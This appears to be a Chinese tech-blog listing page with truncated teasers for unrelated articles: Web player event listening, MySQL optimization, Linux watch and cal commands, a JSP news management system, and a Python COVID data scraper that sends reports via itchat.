Web播放器解决了在手机浏览器和PC浏览器上播放音视频数据的问题,让视音频内容可以不依赖用户安装App,就能进行播放以及在社交平台进行传播。在视频业务大数据平台中,播放数据的统计分析非常重要,所以Web播放器在使用过程中,需要对其内部的数据进行收集并上报至服务端,此时,就需要对发生在其内部的一些播放行为进行事件监听。 那么Web播放器事件监听是怎么实现的呢? 01 监听事件明细表 名
3万字总结,Mysql优化之精髓
本文知识点较多,篇幅较长,请耐心学习 MySQL已经成为时下关系型数据库产品的中坚力量,备受互联网大厂的青睐,出门面试想进BAT,想拿高工资,不会点MySQL优化知识,拿offer的成功率会大大下降。 为什么要优化 系统的吞吐量瓶颈往往出现在数据库的访问速度上 随着应用程序的运行,数据库的中的数据会越来越多,处理时间会相应变慢 数据是存放在磁盘上的,读写速度无法和内存相比 如何优化 设计
Linux 命令(122)—— watch 命令
1.命令简介 2.命令格式 3.选项说明 4.常用示例 参考文献 [1] watch(1) manual
Linux 命令(121)—— cal 命令
1.命令简介 2.命令格式 3.选项说明 4.常用示例 参考文献 [1] cal(1) manual
记jsp+servlet+jdbc实现的新闻管理系统
1.工具:eclipse+SQLyog 2.介绍:实现的内容就是显示新闻的基本信息,然后一个增删改查的操作。 3.数据库表设计 列名 中文名称 数据类型 长度 非空 newsId 文章ID int 11 √ newsTitle 文章标题 varchar 20 √ newsContent 文章内容 text newsStatus 是否审核 varchar 10 news...
Python新型冠状病毒疫情数据自动爬取+统计+发送报告+数据屏幕(三)发送篇
今天介绍的项目是使用 Itchat 发送统计报告 项目功能设计: 定时爬取疫情数据存入Mysql 进行数据分析制作疫情报告 使用itchat给亲人朋友发送分析报告(本文) 基于Django做数据屏幕 使用Tableau做数据分析 来看看最终效果 目前已经完成,预计2月12日前更新 使用 itchat 发送数据统计报告 itchat 是一个基于 web微信的一个框架,但微信官方并不允
相关热词 c#如何定义数组列表 c#倒序读取txt文件 java代码生成c# c# tcp发送数据 c#解决时间格式带星期 c#类似hashmap c#设置istbox的值 c#获取多线程返回值 c# 包含数字 枚举 c# timespan
立即提问